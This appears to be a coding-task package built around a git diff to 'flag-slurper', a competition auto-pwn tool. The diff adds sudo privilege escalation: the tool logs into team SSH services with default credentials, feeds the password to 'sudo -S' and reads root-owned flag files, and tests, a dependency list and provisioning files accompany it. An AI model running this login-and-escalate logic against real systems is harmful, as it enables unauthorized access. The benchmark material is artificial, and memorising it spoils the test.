diff --git a/README.md b/README.md
index 667cfb6..f10a106 100644
--- a/README.md
+++ b/README.md
@@ -117,7 +117,7 @@ You can specify as many flags as you want. All of the following fields are requi
  
 Here's an example of an Auto PWN run that obtained flags:
 
-[![asciicast](https://asciinema.org/a/V1NNowGyb2wGmEnhcMEgp6phq.png)](https://asciinema.org/a/V1NNowGyb2wGmEnhcMEgp6phq)
+[![asciicast](https://asciinema.org/a/SZK8Ma0lUzX8H1CE02sLOjVIT.png)](https://asciinema.org/a/SZK8Ma0lUzX8H1CE02sLOjVIT)
 
 Credentials
 -----------
diff --git a/flag_slurper/autolib/exploit.py b/flag_slurper/autolib/exploit.py
index b99b247..b48b9b8 100644
--- a/flag_slurper/autolib/exploit.py
+++ b/flag_slurper/autolib/exploit.py
@@ -1,13 +1,16 @@
-import os
+import logging
 import textwrap
-from typing import List, Tuple, Union, Dict, Any
+import time
+from typing import List, Tuple, Union, Dict, Any, Optional
 
+import os
 import paramiko
 
 FlagConf = Dict[str, Any]
+logger = logging.getLogger(__name__)
 
 
-def find_flags(ssh: paramiko.SSHClient, base_dir='/root') -> List[Tuple[str, str]]:
+def find_flags(ssh: paramiko.SSHClient, base_dir: str = '/root') -> List[Tuple[str, str]]:
     search_glob = os.path.join(base_dir, '*flag*')
 
     _, stdout, stderr = ssh.exec_command('ls {}'.format(search_glob))
@@ -25,20 +28,48 @@ def find_flags(ssh: paramiko.SSHClient, base_dir='/root') -> List[Tuple[str, str
     return found
 
 
-def get_file_contents(ssh: paramiko.SSHClient, file: str) -> Union[str, bool]:
+def get_file_contents(ssh: paramiko.SSHClient, file: str, sudo: Optional[str] = None) -> Union[str, bool]:
     """
     Retrieve the contents of file from the remote server.
 
     This does ***NOT*** use SFTP since teams might disallow SFTP. Granted if you are
     smart enough to disallow SFTP, you probably don't have default creds either, but
     sometimes people mess up.
+
+    :param ssh: The current ssh session to use
+    :param file: The full path to the file to retrieve
+    :param sudo: The sudo password to use if the current session can sudo
+    """
+    ret = get_file(ssh, file, sudo)
+    if ret:
+        ret = ret.decode('utf-8').strip()
+    return ret
+
+
+def get_file(ssh: paramiko.SSHClient, file: str, sudo: Optional[str] = None) -> Union[bytes, bool]:
+    """
+    Retrieve a file from the remote server.
+
+    This does ***NOT*** use SFTP since teams might disallow SFTP. Granted if you are
+    smart enough to disallow SFTP, you probably don't have default creds either, but
+    sometimes people mess up.
+
+    :param ssh: The current ssh session to use
+    :param file: The full path to the file to retrieve
+    :param sudo: The sudo password to use if the current session can sudo
     """
-    _, stdout, stderr = ssh.exec_command('cat {}'.format(file))
-    err = stderr.read()
+    if sudo:
+        logger.debug("Using sudo")
+        _, stdout, stderr = run_sudo(ssh, 'cat {}'.format(file), sudo)
+    else:
+        _, stdout, stderr = ssh.exec_command('cat {}'.format(file))
+
+    err = stderr.read().decode('utf-8').strip()
     if len(err) > 0:
+        logger.error("There was an error getting the file %s: %s", file, err)
         return False
 
-    return stdout.read().decode('utf-8').strip()
+    return stdout.read()
 
 
 def _run_command(ssh: paramiko.SSHClient, command: str) -> str:
@@ -61,3 +92,26 @@ def get_system_info(ssh: paramiko.SSHClient) -> str:
     if len(lsb_release) > 0:
         sysinfo.append('LSB Release:\n{}'.format(textwrap.indent(lsb_release, ' > ')))
     return '\n'.join(sysinfo)
+
+
+def can_sudo(ssh: paramiko.SSHClient, password: str) -> bool:
+    logger.debug("Attempting sudo")
+    command = "sudo -S -p '' whoami"
+    stdin, stdout, _ = ssh.exec_command(command)
+    stdin.write(password + '\n')
+    stdin.flush()
+    user = stdout.read().decode('utf-8').strip()
+    ret = user == "root"
+    if ret:
+        logger.debug("<<<SUDO FOUND>>>")
+    return ret
+
+
+CHAN_FILE_T = Tuple[paramiko.ChannelFile, paramiko.ChannelFile, paramiko.ChannelFile]
+
+
+def run_sudo(ssh: paramiko.SSHClient, command: str, password: str) -> CHAN_FILE_T:
+    stdin, stdout, stderr = ssh.exec_command("sudo -S -p ' ' {}".format(command))
+    stdin.write(password + '\n')
+    stdin.flush()
+    return stdin, stdout, stderr
diff --git a/flag_slurper/autolib/models.py b/flag_slurper/autolib/models.py
index 78b2e1a..16ef36b 100644
--- a/flag_slurper/autolib/models.py
+++ b/flag_slurper/autolib/models.py
@@ -1,8 +1,10 @@
+import click
 import peewee
 import playhouse.db_url
 
 # We want to allow setting up the database connection from .flagrc
 database_proxy = peewee.Proxy()
+SUDO_FLAG = click.style('!', fg='red', bold=True)
 
 
 def initialize(database_url: str):
@@ -54,9 +56,15 @@ class Credential(BaseModel):
     state = peewee.CharField(choices=[WORKS, REJECT])
     bag = peewee.ForeignKeyField(CredentialBag, backref='credentials')
     service = peewee.ForeignKeyField(Service, backref='credentials')
+    sudo = peewee.BooleanField(default=False)
 
     def __str__(self):
-        return "{}:{}".format(self.bag.username, self.bag.password)
+        flags = ""
+
+        if self.sudo:
+            flags += SUDO_FLAG
+
+        return "{}:{}{}".format(self.bag.username, self.bag.password, flags)
 
     def __repr__(self):
         return "<Credential {}>".format(self.__str__())
@@ -78,7 +86,12 @@ class CaptureNote(BaseModel):
     searched = peewee.BooleanField(default=False)
 
     def __str__(self):
-        return "{} -> {}".format(self.location, self.data)
+        flags = ""
+
+        if "Used Sudo" in self.notes:
+            flags += SUDO_FLAG
+
+        return "{} -> {}{}".format(self.location, self.data, flags)
 
 
 def create():  # pragma: no cover
@@ -86,9 +99,9 @@ def create():  # pragma: no cover
 
 
 def delete():  # pragma: no cover
-    CredentialBag.delete()
-    Team.delete()
-    Service.delete()
-    Credential.delete()
-    Flag.delete()
-    CaptureNote.delete()
+    CredentialBag.delete().execute()
+    Team.delete().execute()
+    Service.delete().execute()
+    Credential.delete().execute()
+    Flag.delete().execute()
+    CaptureNote.delete().execute()
diff --git a/flag_slurper/autolib/protocols.py b/flag_slurper/autolib/protocols.py
index c70571e..ef67e80 100644
--- a/flag_slurper/autolib/protocols.py
+++ b/flag_slurper/autolib/protocols.py
@@ -6,7 +6,7 @@ import requests
 import paramiko
 
 from flag_slurper.autolib.exploit import get_file_contents, get_system_info
-from .exploit import find_flags, FlagConf
+from .exploit import find_flags, FlagConf, can_sudo
 from .models import Service, CredentialBag, Credential, Flag, CaptureNote
 
 logger = logging.getLogger(__name__)
@@ -37,17 +37,28 @@ def pwn_ssh(url: str, port: int, service: Service, flag_conf: FlagConf) -> Tuple
                 ssh.connect(url, port=port, username=credential.username, password=credential.password,
                             look_for_keys=False)
                 cred.state = Credential.WORKS
+
+                # Root doesn't need sudo
+                sudo = False
+                if credential.username != "root":
+                    sudo = can_sudo(ssh, credential.password)
+                    if sudo:
+                        cred.sudo = True
+
                 cred.save()
                 working.add(cred)
 
                 sysinfo = get_system_info(ssh)
+                if sudo:
+                    sysinfo += "\nUsed Sudo"
 
                 flag_obj, _ = Flag.get_or_create(team=service.team, name=flag_conf['name'])
 
                 if flag_conf:
                     location = flag_conf['name']
                     full_location = os.path.join(base_dir, location)
-                    flag = get_file_contents(ssh, full_location)
+                    sudo_cred = credential.password if sudo else None
+                    flag = get_file_contents(ssh, full_location, sudo=sudo_cred)
                     if flag:
                         enable_search = False
                         note, created = CaptureNote.get_or_create(flag=flag_obj, data=flag, location=full_location,
@@ -58,8 +69,10 @@ def pwn_ssh(url: str, port: int, service: Service, flag_conf: FlagConf) -> Tuple
                     for flag in flags:
                         CaptureNote.get_or_create(flag=flag_obj, data=flag[1], location=flag[0], notes=str(sysinfo),
                                                   searched=True, service=service)
-        except Exception:
+        except paramiko.ssh_exception.AuthenticationException:
             continue
+        except Exception:
+            logger.exception("There was an error pwning this service: %s", url)
 
     if working:
         return "Found credentials: {}".format(working), True, False
diff --git a/flag_slurper/autopwn.py b/flag_slurper/autopwn.py
index 42b1426..b0a625d 100644
--- a/flag_slurper/autopwn.py
+++ b/flag_slurper/autopwn.py
@@ -4,6 +4,7 @@ from multiprocessing import Pool
 
 import click
 
+from flag_slurper.autolib.models import SUDO_FLAG
 from . import utils, autolib
 from .autolib import models
 from .config import Config
@@ -128,7 +129,8 @@ def results():
 
     p.connect_database()
 
-    utils.report_status("Found the following credentials")
+    utils.report_status("Found the following flags")
+    utils.report_status("Key: {} Used Sudo".format(SUDO_FLAG))
     flags = models.Flag.select()
     if len(flags) == 0:
         utils.report_warning('No Flags Found')
@@ -141,12 +143,13 @@ def results():
                 "{}/{}: {} -> {}".format(flag.team.number, note.service.service_name, note.location, note.data))
         elif len(notes) > 1:
             data = "\n\t".join(map(str, notes))
-            utils.report_success("{}/{}:\n{}".format(flag.team.number, notes[0].service.service_name, data))
+            utils.report_success("{}/{}:\n\t{}".format(flag.team.number, notes[0].service.service_name, data))
         else:
             continue
 
     click.echo()
     utils.report_status("Found the following credentials")
+    utils.report_status("Key: {} Sudo".format(SUDO_FLAG))
 
     services = models.Service.select()
     for service in services:
diff --git a/provision/host_vars/team3.yml b/provision/host_vars/team3.yml
index 8bf81c6..4d0b64a 100644
--- a/provision/host_vars/team3.yml
+++ b/provision/host_vars/team3.yml
@@ -1,4 +1,3 @@
 # root:other
 root_password: "$6$.d8jGpv1krw3G$s5nA6ydHLsL9L2Isj5nMqtb.Zo8oW4JtexzA2jEVna9uG6oZkEjWwoBfsHspD/4hrH6qBx//aSSrhbKSRp3ls/"
-
-
+nosudo: true
diff --git a/provision/main.yml b/provision/main.yml
index b11306a..cb23641 100644
--- a/provision/main.yml
+++ b/provision/main.yml
@@ -28,6 +28,21 @@
           - plugdev
           - netdev
 
+    - name: "Create non-sudo user: nosudo:cdc"
+      user:
+        name: nosudo
+        password: "$1$kejaef$s8Y0EuYOIiDSSiItk8zLv1"
+        shell: /bin/bash
+        groups:
+          - cdrom
+          - floppy
+          - audio
+          - dip
+          - video
+          - plugdev
+          - netdev
+      when: nosudo is defined
+
     - name: Change root password
       user: name=root password="{{ root_password }}"
 
@@ -45,7 +60,7 @@
         line: 'PermitRootLogin yes'
       notify: restart ssh
 
-    - name: Create flag for {{ inventory_hostname }}
+    - name: Create flag for each host
       copy:
         dest: /root/{{ inventory_hostname }}_www_root.flag
         content: "{{ lookup('password', 'flags/' + inventory_hostname + '_www_root.flag length=50') }}"

Attempt sudo when looking for flags
When attempting to grab a flag (like `/root/...`) as a non-root user, we should attempt to do privilege escalation with sudo in addition to grabbing it as-is.

The exact method used to obtain the flag should be recorded for capture notes.
diff --git a/tests/autolib/test_models.py b/tests/autolib/test_models.py
index a3f1859..4302a52 100644
--- a/tests/autolib/test_models.py
+++ b/tests/autolib/test_models.py
@@ -1,6 +1,9 @@
+import click
 import pytest
 
-from flag_slurper.autolib.models import CredentialBag, Credential
+from flag_slurper.autolib.models import CredentialBag, Credential, CaptureNote
+
+SUDO_FLAG = click.style('!', fg='red', bold=True)
 
 
 @pytest.fixture
@@ -8,11 +11,21 @@ def bag():
     return CredentialBag(username='root', password='cdc')
 
 
+@pytest.fixture
+def sudobag():
+    return CredentialBag(username='cdc', password='cdc')
+
+
 @pytest.fixture
 def credential(bag, service):
     yield Credential(bag=bag, state=Credential.WORKS, service=service)
 
 
+@pytest.fixture
+def sudocred(sudobag, service):
+    yield Credential(bag=sudobag, state=Credential.WORKS, service=service, sudo=True)
+
+
 def test_cred_bag__str__(bag):
     assert bag.__str__() == "root:cdc"
 
@@ -27,3 +40,21 @@ def test_cred__str__(credential):
 
 def test_cred__repr__(credential):
     assert credential.__repr__() == "<Credential root:cdc>"
+
+
+def test_cred_sudo__str__(sudocred):
+    assert sudocred.__str__() == "cdc:cdc{}".format(SUDO_FLAG)
+
+
+def test_cred_sudo__repr__(sudocred):
+    assert sudocred.__repr__() == "<Credential cdc:cdc{}>".format(SUDO_FLAG)
+
+
+def test_capture_note__str__(flag, service):
+    note = CaptureNote(flag=flag, service=service, data='abcd', location='/root/test.flag', notes='did stuff')
+    assert note.__str__() == "/root/test.flag -> abcd"
+
+
+def test_capture_note_sudo__str__(flag, service):
+    note = CaptureNote(flag=flag, service=service, data='abcd', location='/root/test.flag', notes='did stuff\nUsed Sudo')
+    assert note.__str__() == "/root/test.flag -> abcd{}".format(SUDO_FLAG)
diff --git a/tests/conftest.py b/tests/conftest.py
index 02bafe2..ddc3a8f 100644
--- a/tests/conftest.py
+++ b/tests/conftest.py
@@ -65,3 +65,8 @@ def invalid_service(team):
     yield models.Service.create(remote_id=2, service_id=2, service_name='WWW Custom', service_port=10391,
                                 service_url='www.team1.isucdc.com', admin_status=None, high_target=0, low_target=0,
                                 is_rand=False, team=team)
+
+
+@pytest.fixture
+def flag(team):
+    yield models.Flag.create(id=1, team=team, name='Test Team')

pip install -e .[remote,parallel]
parse_log_pytest
requirements.txt
pytest pytest-cov pytest-sugar pytest-mock pytest-xdist tox vcrpy responses pretend
apt-get update apt-get install -y gcc
3.6
pytest --no-header -rA --tb=line --color=no -p no:cacheprovider -W ignore::DeprecationWarning
attrs==22.2.0
bcrypt==4.0.1
certifi==2021.5.30
cffi==1.15.1
charset-normalizer==2.0.12
click==8.0.4
coverage==6.2
cryptography==40.0.2
distlib==0.3.9
execnet==1.9.0
filelock==3.4.1
-e git+https://github.com/mgerst/flag-slurper.git@fe4dca622d1a393844e2588056f9e8e535a9a5ad#egg=flag_slurper
idna==3.10
importlib-metadata==4.8.3
importlib-resources==5.4.0
iniconfig==1.1.1
Jinja2==3.0.3
MarkupSafe==2.0.1
multidict==5.2.0
packaging==21.3
paramiko==3.5.1
peewee==3.17.9
platformdirs==2.4.0
pluggy==1.0.0
pretend==1.0.9
psycopg2-binary==2.9.5
py==1.11.0
pycparser==2.21
PyNaCl==1.5.0
pyparsing==3.1.4
pytest==7.0.1
pytest-cov==4.0.0
pytest-mock==3.6.1
pytest-sugar==0.9.6
pytest-xdist==3.0.2
PyYAML==6.0.1
requests==2.27.1
responses==0.17.0
schema==0.7.7
six==1.17.0
termcolor==1.1.0
terminaltables==3.1.10
toml==0.10.2
tomli==1.2.3
tox==3.28.0
typing_extensions==4.1.1
urllib3==1.26.20
vcrpy==4.1.1
virtualenv==20.17.1
wrapt==1.16.0
yarl==1.7.2
zipp==3.6.0

name: flag-slurper
channels:
  - defaults
  - https://repo.anaconda.com/pkgs/main
  - https://repo.anaconda.com/pkgs/r
  - conda-forge
dependencies:
  - _libgcc_mutex=0.1=main
  - _openmp_mutex=5.1=1_gnu
  - ca-certificates=2025.2.25=h06a4308_0
  - certifi=2021.5.30=py36h06a4308_0
  - ld_impl_linux-64=2.40=h12ee557_0
  - libffi=3.3=he6710b0_2
  - libgcc-ng=11.2.0=h1234567_1
  - libgomp=11.2.0=h1234567_1
  - libstdcxx-ng=11.2.0=h1234567_1
  - ncurses=6.4=h6a678d5_0
  - openssl=1.1.1w=h7f8727e_0
  - pip=21.2.2=py36h06a4308_0
  - python=3.6.13=h12debd9_1
  - readline=8.2=h5eee18b_0
  - setuptools=58.0.4=py36h06a4308_0
  - sqlite=3.45.3=h5eee18b_0
  - tk=8.6.14=h39e8969_0
  - wheel=0.37.1=pyhd3eb1b0_0
  - xz=5.6.4=h5eee18b_1
  - zlib=1.2.13=h5eee18b_1
  - pip:
      - attrs==22.2.0
      - bcrypt==4.0.1
      - cffi==1.15.1
      - charset-normalizer==2.0.12
      - click==8.0.4
      - coverage==6.2
      - cryptography==40.0.2
      - distlib==0.3.9
      - execnet==1.9.0
      - filelock==3.4.1
      - idna==3.10
      - importlib-metadata==4.8.3
      - importlib-resources==5.4.0
      - iniconfig==1.1.1
      - jinja2==3.0.3
      - markupsafe==2.0.1
      - multidict==5.2.0
      - packaging==21.3
      - paramiko==3.5.1
      - peewee==3.17.9
      - platformdirs==2.4.0
      - pluggy==1.0.0
      - pretend==1.0.9
      - psycopg2-binary==2.9.5
      - py==1.11.0
      - pycparser==2.21
      - pynacl==1.5.0
      - pyparsing==3.1.4
      - pytest==7.0.1
      - pytest-cov==4.0.0
      - pytest-mock==3.6.1
      - pytest-sugar==0.9.6
      - pytest-xdist==3.0.2
      - pyyaml==6.0.1
      - requests==2.27.1
      - responses==0.17.0
      - schema==0.7.7
      - six==1.17.0
      - termcolor==1.1.0
      - terminaltables==3.1.10
      - toml==0.10.2
      - tomli==1.2.3
      - tox==3.28.0
      - typing-extensions==4.1.1
      - urllib3==1.26.20
      - vcrpy==4.1.1
      - virtualenv==20.17.1
      - wrapt==1.16.0
      - yarl==1.7.2
      - zipp==3.6.0
prefix: /opt/conda/envs/flag-slurper

tests/autolib/test_models.py::test_cred_sudo__str__ tests/autolib/test_models.py::test_cred_sudo__repr__ tests/autolib/test_models.py::test_capture_note_sudo__str__
tests/autolib/test_models.py::test_cred_bag__str__ tests/autolib/test_models.py::test_cred_bag__repr__ tests/autolib/test_models.py::test_cred__str__ tests/autolib/test_models.py::test_cred__repr__ tests/autolib/test_models.py::test_capture_note__str__
provision/host_vars/team3.yml flag_slurper/autolib/models.py provision/main.yml README.md flag_slurper/autolib/exploit.py flag_slurper/autopwn.py flag_slurper/autolib/protocols.py
provision/host_vars/team3.yml flag_slurper/autolib/models.py provision/main.yml README.md flag_slurper/autolib/exploit.py flag_slurper/autopwn.py flag_slurper/autolib/protocols.py